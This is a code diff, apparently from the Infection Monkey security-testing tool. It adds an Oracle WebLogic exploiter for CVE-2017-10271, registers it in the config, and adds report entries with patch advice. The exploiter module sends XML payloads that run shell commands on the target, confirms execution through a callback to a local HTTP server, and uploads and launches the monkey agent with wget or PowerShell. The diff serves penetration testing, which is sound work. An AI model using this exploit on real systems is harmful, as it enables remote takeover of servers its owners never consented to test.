diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 818bc75a0..b5df92f55 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -149,7 +149,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter # multi + ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi ] # how many victims to look for in a single scan iteration @@ -191,7 +191,7 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate + 8008, 7001 # HTTP alternate ] tcp_target_ports = [22, 2222, diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 3c33d975a..1d6d4f0e9 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -37,7 +37,8 @@ "ShellShockExploiter", "ElasticGroovyExploiter", "SambaCryExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter" ], "finger_classes": [ "SSHFinger", @@ -87,7 +88,8 @@ 443, 3306, 8008, - 9200 + 9200, + 7001 ], "timeout_between_iterations": 10, "use_file_logging": true, diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index f2d5d0c5b..346f6276b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter from struts2 import Struts2Exploiter +from weblogic import WebLogicExploiter diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py new file mode 100644 index 000000000..f4f034132 --- /dev/null +++ b/infection_monkey/exploit/weblogic.py @@ -0,0 +1,203 @@ +# Exploit based of: +# Kevin Kirsche (d3c3pt10n) +# https://github.com/kkirsche/CVE-2017-10271 +# and +# Luffin from Github +# https://github.com/Luffin/CVE-2017-10271 +# CVE: CVE-2017-10271 + +from requests import post, exceptions +from web_rce import WebRCE +from exploit.tools import get_free_tcp_port, get_interface_to_target +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +from model import POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, WGET_HTTP_UPLOAD + +import threading +import logging +import copy +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for response +DOWNLOAD_TIMEOUT = 4 +# How long to wait for a request to go to vuln machine and then to our server from there +REQUEST_TIMEOUT = 2 +# How long to wait for response in exploitation +EXECUTION_TIMEOUT = 15 +# Server might get response faster than it starts listening to it, we need a lock +LOCK = threading.Lock() +URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] +# Malicious request's headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + } + + +class WebLogicExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(WebLogicExploiter, self).__init__(host) + + def exploit_host(self): + # Get open ports + ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + if not ports: + return False + # Get urls to try to exploit + urls = WebRCE.build_potential_urls(self.host, ports, URLS) + + exploiter = self.exploit + + # Checking takes a lot of time, so we check until we get exploitable url and stop + vulnerable_urls = [] + for url in urls: + # Get full URL + if self.test_exploit(url): + vulnerable_urls.append(url) + break + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: + return False + + # Somehow we can't save files outside server's directory + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = 'monkey-32.exe' + config.dropper_target_path_win_64 = 'monkey-64.exe' + config.dropper_target_path_linux = './monkey.sh' + + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], + {'windows': POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, + 'linux': WGET_HTTP_UPLOAD}) + + # We can't use 'if not' because response may be '' + if not data or data['response'] == False: + return False + + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], False) == False: + return False + + return True + + def exploit(self, url, command): + empty_payload = ''' + + + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + if 'linux' in self.host.os['type']: + cmd_base = '/bin/sh' + cmd_opt = '-c' + command += ' 1> /dev/null 2> /dev/null' + else: + cmd_base = 'cmd' + cmd_opt = '/c' + command += ' 1> NUL 2> NUL' + + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + try: + post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + except Exception as e: + print('[!] Connection Error') + print(e) + return True + + class HTTPServer(threading.Thread): + """ + Http server built to wait for GET requests. Because oracle web logic vuln is blind, + we determine if we can exploit by either getting a GET request from host or not. + """ + def __init__(self, local_ip, local_port, max_requests=1): + self._local_ip = local_ip + self._local_port = local_port + self.get_requests = 0 + self.max_requests = max_requests + self._stopped = False + threading.Thread.__init__(self) + + def run(self): + class S(BaseHTTPRequestHandler): + @staticmethod + def do_GET(): + LOG.info('Server received a request from vulnerable machine') + self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') + httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd.daemon = True + LOCK.release() + while not self._stopped and self.get_requests < self.max_requests: + httpd.handle_request() + + self._stopped = True + return httpd + + def test_exploit(self, url): + local_port = get_free_tcp_port() + local_ip = get_interface_to_target(self.host.ip_addr) + httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) + httpd.daemon = True + LOCK.acquire() + httpd.start() + LOCK.acquire() + generic_check_payload = ''' + + + + + http://{lhost}:{lport} + + + + + + + + + + ''' + payload = generic_check_payload.format(lhost=local_ip, lport=local_port) + try: + post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) + except exceptions.ReadTimeout: + pass + except Exception as e: + LOG.error("Something went wrong: %s" % e) + + LOCK.release() + httpd.join(DOWNLOAD_TIMEOUT) + if httpd.get_requests > 0: + exploited = True + else: + exploited = False + return exploited diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8781f2b21..16c7502f1 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -86,6 +86,13 @@ SCHEMA = { "Struts2Exploiter" ], "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" } ] }, @@ -626,7 +633,8 @@ SCHEMA = { "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN @@ -761,7 +769,8 @@ SCHEMA = { 80, 8080, 443, - 8008 + 8008, + 7001 ], "description": "List of ports the monkey will check if are being used for HTTP" }, @@ -783,7 +792,8 @@ SCHEMA = { 443, 8008, 3306, - 9200 + 9200, + 7001 ], "description": "List of TCP ports the monkey will check whether they're open" }, diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..f8647e81e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,7 +30,8 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'WebLogicExploiter': 'Oracle WebLogic exploiter' } class ISSUES_DICT(Enum): @@ -43,6 +44,7 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + WEBLOGIC = 9 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -298,6 +300,12 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_weblogic_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'weblogic' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +318,8 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'WebLogicExploiter': ReportService.process_weblogic_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -430,6 +439,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'weblogic': + issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a02a092d..ac796af61 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + WEBLOGIC: 9 }; Warning = @@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? +
  • Oracle WebLogic servers are vulnerable to remote code execution. ( + CVE-2017-10271)
  • : null } : @@ -693,6 +698,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateWebLogicIssue(issue) { + return ( +
  • + Install Oracle + critical patch updates. Or change server version. Vulnerable versions are + 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware + (subcomponent: WLS Security). +
    +
  • + ); + } + generateIssue = (issue) => { @@ -743,6 +766,9 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'weblogic': + data = this.generateWebLogicIssue(issue); + break; } return data; };